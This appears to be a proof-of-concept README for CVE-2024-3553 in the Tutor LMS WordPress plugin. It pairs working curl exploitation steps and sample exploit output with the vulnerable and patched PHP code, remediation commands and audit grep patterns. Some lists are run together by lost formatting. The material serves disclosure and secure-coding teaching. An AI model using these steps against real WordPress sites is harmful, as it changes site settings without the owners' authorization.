
CVE-2024-3553: Tutor LMS <= 2.6.2 - Missing Authorization vulnerability allowing authenticated attackers to enable user registration
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the hide_notices() function in all versions up to, and including, 2.6.2. This makes it possible for authenticated attackers (including low-privilege users like subscribers) to enable user registration on sites that may have it disabled by administrators.
A full Python exploit is available: exploit-cve-2024-3553-v2.py
# Full automated exploitation
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123
# Check registration status only
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only
Prerequisites:
Step 1: Login as Low-Privilege User
# Login as subscriber or any authenticated user
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
https://target.com/wp-login.php
Step 2: Extract Nonce from Admin Area
# Any authenticated user can access /wp-admin/ (even subscribers)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1
Step 3: Execute Exploit
# Send request to enable user registration
curl -b cookies.txt \
"https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"
Step 4: Verify Success
# Check if registration is now enabled
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"
# As any authenticated user, simply visit:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>
======================================================================
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization
Target: https://target.com
======================================================================
[*] Checking current registration status...
[+] Registration is currently DISABLED
[*] Attempting to login as: subscriber
[+] Successfully logged in as: subscriber
[*] Step 2: Extracting nonce from admin area...
[+] Found nonce: abc123def456
[*] Step 3: Executing exploit to enable user registration...
[*] Target: https://target.com
[*] Using nonce: abc123def456
[*] Exploit URL: https://target.com/wp-admin/index.php
[*] Parameters: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Response status: 200
[+] Exploit request sent successfully!
[*] Step 4: Verifying exploitation success...
[+] Registration is currently ENABLED
======================================================================
[!] EXPLOITATION SUCCESSFUL!
[!] User registration is now ENABLED
[!]
[!] Impact: An attacker with a low-privilege account (subscriber)
[!] was able to enable user registration on a site where it was
[!] disabled. This could allow creation of additional accounts,
[!] potentially leading to spam or unauthorized access.
======================================================================
File: /classes/User.php (Lines ~800-815)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
// NO CAPABILITY CHECK - Any authenticated user can execute this!
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
Key Vulnerability Points:
is_admin() only verifies the request is to an admin page, NOT that the user is an administrator/wp-admin/ (even subscribers)current_user_can('manage_options') capability checkusers_can_register optionFile: /classes/User.php (Patched version)
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
// SECURITY FIX: Added capability check
$has_manage_cap = current_user_can( 'manage_options' );
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // Now properly protected
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
The patch adds current_user_can('manage_options') to verify the user has administrator privileges before allowing the option update.
This vulnerability demonstrates a critical misunderstanding of WordPress authorization functions:
WRONG ❌:
if ( is_admin() ) {
// Thinking this means "user is an admin"
update_option( 'sensitive_option', $value );
}
CORRECT ✅:
if ( current_user_can( 'manage_options' ) ) {
// Actually checks if user has admin capabilities
update_option( 'sensitive_option', $value );
}
Proper WordPress security requires multiple layers:
Missing ANY of these layers can lead to vulnerabilities.
For Site Administrators:
Update to Tutor LMS version 2.7.0 or later immediately:
# Via WP-CLI
wp plugin update tutor --version=2.7.0
# Via WordPress Admin
Dashboard → Plugins → Find "Tutor LMS" → Click "Update Now"
Audit Recent Changes:
# Check if registration setting was modified recently
wp option get users_can_register
# Review recent user registrations
wp user list --orderby=registered --order=DESC --number=20
is_admin() alone for authorizationcurrent_user_can() for capability checksWhen auditing WordPress plugins for authorization issues:
# 1. Search for is_admin() without capability checks
grep -r "is_admin()" . | grep -v "current_user_can"
# 2. Look for direct option updates
grep -r "update_option\|add_option" .
# 3. Find AJAX handlers without capability checks
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"
README.md - This fileexploit-cve-2024-3553.py - Basic Python exploitexploit-cve-2024-3553-v2.py - Enhanced Python exploit with detailed documentationmanual-exploit-cve-2024-3553.sh - Manual exploitation scripttest-cve-2024-3553-direct.sh - Direct verification test scriptDiscovered: 2024-04-15 Disclosed: 2024-05-20 Patched: 2024-05-21 (v2.7.0) Test Date: 2025-12-26 Classification: Successful Vulnerability Validation
| Function | What It Actually Checks | Security Use |
|---|
is_admin() | Whether the current URL is in /wp-admin/ | ❌ NOT for authorization |
current_user_can() | Whether user has specific capability | ✅ Proper authorization |
wp_verify_nonce() | Whether request is intentional (CSRF protection) | ✅ But NOT sufficient alone |